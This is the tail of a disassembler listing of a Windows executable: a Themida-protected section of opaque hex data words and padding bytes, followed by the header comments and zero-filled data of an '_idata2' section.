		dd 0B1B3A269h, 0F833567h, 686h,	40DE8100h, 66309D21h, 0E8F73DBFh
		dd 0Ch,	14354EC3h, 157B8026h, 1CB31F83h, 28B0Fh, 5A570000h
		dd 17880F59h, 0E8000000h, 0Fh, 0AE6FB3Dh, 0F0048D14h, 3FF10025h
		dd 8A2CB905h, 11E959FAh, 0B3000000h, 301F4AEBh,	6FD3D4FDh
		dd 0FD216162h, 0A79B1F1Bh, 66C38B66h, 0B74F4FBBh, 11E9D5h
		dd 0CDC30000h, 0BF208762h, 1EE68748h, 3CD7450Dh, 0B7964918h
		dd 0BBF18B51h, 4CA91923h, 5810Fh, 81660000h, 0BF0D34F3h
		dd 23B21319h, 2A800Fh, 0E9600000h, 12h,	4FE1A619h, 716AF1Fh
		dd 37C39EE6h, 0CF444D8h, 0BE822DAh, 3000000h, 93E2B8F1h
		dd 4461CFC5h, 615B8D6Fh, 0FCA8B66h, 98Fh, 3890F00h, 0F000000h
		dd 0B866F0B7h, 9E9CA99h, 51000000h, 637899A5h, 97B4FE04h
		dd 14E8h, 121F9C00h, 0AA7D8B0h,	95F6B21Bh, 0CFBC3BA1h
		dd 0C14A6DFEh, 5AF98A16h, 60FCDA8Bh, 0FADD480h,	0E8Dh
		dd 9E900h, 2200000h, 0E7BC342h,	611067E6h, 18F0Fh, 66F90000h
		dd 0FCEDCBBh, 285h, 50FA8B00h, 5FF18A51h, 14E85Bh, 0DB2B0000h
		dd 0C784504Bh, 78630C4Bh, 6134E13Dh, 630B7343h,	5AF504A9h
		dd 0FE9h, 9DF6CA00h, 8A8F1724h,	37766282h, 89FED335h, 0D25ABA66h
		dd 9940E6BFh, 0FE8B6677h, 88A0Fh, 0F520000h, 8Fh, 6EBE5B00h
		dd 0F51AE6Bh, 68Fh, 0C6F78100h,	0B93F2A5Bh, 7E465D7Ch
		dd 0C870Fh, 7E90000h, 64000000h, 4A70C56Ah, 0BE667A96h
		dd 8166E9A6h, 661772E6h, 9B1CDA81h, 66F88B66h, 3C33E781h
		dd 0CE8F9F5h, 0A4000000h, 637F70C0h, 1247837Dh,	8AFA0048h
		dd 0E2815EE6h, 7A90FA06h, 59DBBF66h, 0EB81E88Ah, 15439258h
		dd 0EE960h, 232F0000h, 0C4325F54h, 0D215A830h, 2D4E2BB4h
		dd 0EB8061FCh, 0DA816625h, 81667622h, 80FC6CF2h, 80529EDEh
		dd 8B5A9BD6h, 4860FC7h,	52000000h, 0E85A79B1h, 0Ch, 1DFEFF3Eh
		dd 44830CEBh, 2658D2B1h, 0FE381FB8h, 0B8665A1Ah, 0BF663A95h
		dd 840FF505h, 15h, 10E9h, 0C8209A00h, 9A55B151h, 8987715Ah
		dd 0E6C6404Ch, 0FE82Fh,	0F3560000h, 0E3EFA302h,	5C58163h
		dd 0BF37B0F7h, 5759F959h, 13E950h, 273D0000h, 6D7F9AE8h
		dd 1E559D01h, 26D4BA62h, 6ECBE2C0h, 0F585B19h, 288h, 0FCF58A00h
		dd 7E9EE8Ah, 0D4000000h, 7EDE82EEh, 0D18BEB18h,	12E9E0B5h
		dd 53000000h, 8C97D4D1h, 59D75859h, 514DE381h, 0B1F030DCh
		dd 0DE926h, 913D0000h, 96447F5h, 83381h, 66AAEABAh, 6962D681h
		dd 11E9h, 52735C00h, 5118F04h, 0E538EC5Bh, 6FAA2E12h, 7E958D3h
		dd 0FB000000h, 0A20D7DFDh, 6E848EFh, 84000000h,	6420A6A6h
		dd 8E0F6040h, 0
		dd 880Fh, 5B610000h, 66DA8B66h,	4AC7E781h, 8A21EC80h, 68A0FDAh
		dd 81000000h, 906D7CE3h, 0BB66605Ah, 8B66B48Ah,	816661C2h
		dd 0BB0856C0h, 70752CA6h, 12E9F8h, 51860000h, 0A4FDC047h
		dd 164D46A6h, 700C6AD5h, 0F16911EBh, 0D870Fh, 8E90000h
		dd 0FF000000h, 54D520BDh, 81CF2579h, 0B22E0ECBh, 0C7BF0F17h
		dd 56D0BF0Fh, 84FCD181h, 0FC5B0219h, 0FF891B1h,	583h, 0FE73B900h
		dd 0FE80429h, 0FA000000h, 73B7BD14h, 7FB11B5Fh,	0CEDCA7FAh
		dd 8A600A0Fh, 0FC5B61D9h, 8E9E38Ah, 35000000h, 32B12447h
		dd 0E902AC16h, 0Ah, 9D700EBDh, 0B426100Eh, 816620DFh, 0F0255DAh
		dd 0F781FAB7h, 62C0ABBh, 0A47B966h, 188A0Fh, 8E0F0000h
		dd 12h,	0DE9h, 6F34B700h, 0EE8650BDh, 0D66547DCh, 0BCBE102Bh
		dd 0E977EFBDh, 5, 6AACBEC5h, 0AFB866FDh, 8166FC74h, 0F9BF0FEAh
		dd 0FD8BF0Fh, 85BBD3BFh, 0F1184A7h, 8Ah, 0E9CF8B00h, 0Ah
		dd 46C9A95Eh, 7FC2583Eh, 0FFC2A85h, 483h, 0D9B86600h, 8E950F6h
		dd 0A4000000h, 10C7D3ECh, 5AA96979h, 8A5FF957h,	2BE880FCh
		dd 1ED68166h, 81CB8B21h, 0F92FC3D1h, 0DBB70F6Bh, 8BC1EF80h
		dd 6D73BBF7h, 0CF8160D8h, 719AB93h, 0AE9h, 0D8865200h
		dd 9F5D9B2Dh, 0F48B13Ah, 8E9DFBFh, 77000000h, 6F0364F1h
		dd 0BE0AE012h, 6EB4C01Bh, 85F28166h, 0AE81Bh, 0DEFB0000h
		dd 7D2A0D75h, 7094B5C4h, 2471E381h, 0F5E0A18h, 28Ch, 0E85E5300h
		dd 14h,	40ABA8F6h, 4DED302Fh, 0A506F7ABh, 84CD8588h, 0E0D65862h
		dd 59C0BF0Fh, 5820Fh, 80510000h, 665FFFEBh, 81AE44BAh
		dd 93C83CBh, 13E80Eh, 0B6E00000h, 9F0C074Ch, 78A008D3h
		dd 3F6C3AD0h, 0B997D716h, 0AE92Eh, 24B40000h, 44C8D4Ch
		dd 0C29FB551h, 60D08B59h, 53DAD981h, 8E95806h, 0FE000000h
		dd 0E1355DC9h, 61C9ADBCh, 7E9h,	57C56B00h, 5490E3EEh, 7E26D381h
		dd 0EA810338h, 33459FBCh, 0B94DE880h, 293B0AA5h, 0BE8h
		dd 0A7020F00h, 0B1D83A94h, 0A537E61Eh, 6E9h, 67773900h
		dd 5873732Bh, 1D39D5B6h, 140h dup(1D39D5B7h), 4EDh dup(0F5DB963Fh)
		dd 0A753963Fh, 12Ah dup(0A7537B1Ch), 0F424FCDh,	0E0h dup(0F424FCAh)
		dd 26058BCAh, 11Dh dup(26058B73h), 0CC058B73h, 839h dup(0CCCCCCCCh)
asc_5BE968	db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
					; DATA XREF: Themida_:0054D5CAo
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'лллллллллллллллллл',0
		align 1000h
Themida_	ends

; Section 5. (virtual address 001C0000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001C0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5C0000h
		dd 9 dup(0)
dword_5C0024	dd 0Eh dup(0)		; DATA XREF: ___:00432844o
dword_5C005C	dd 69h dup(0)		; DATA XREF: ___:off_432998o
		align 1000h
_idata2		ends


		end start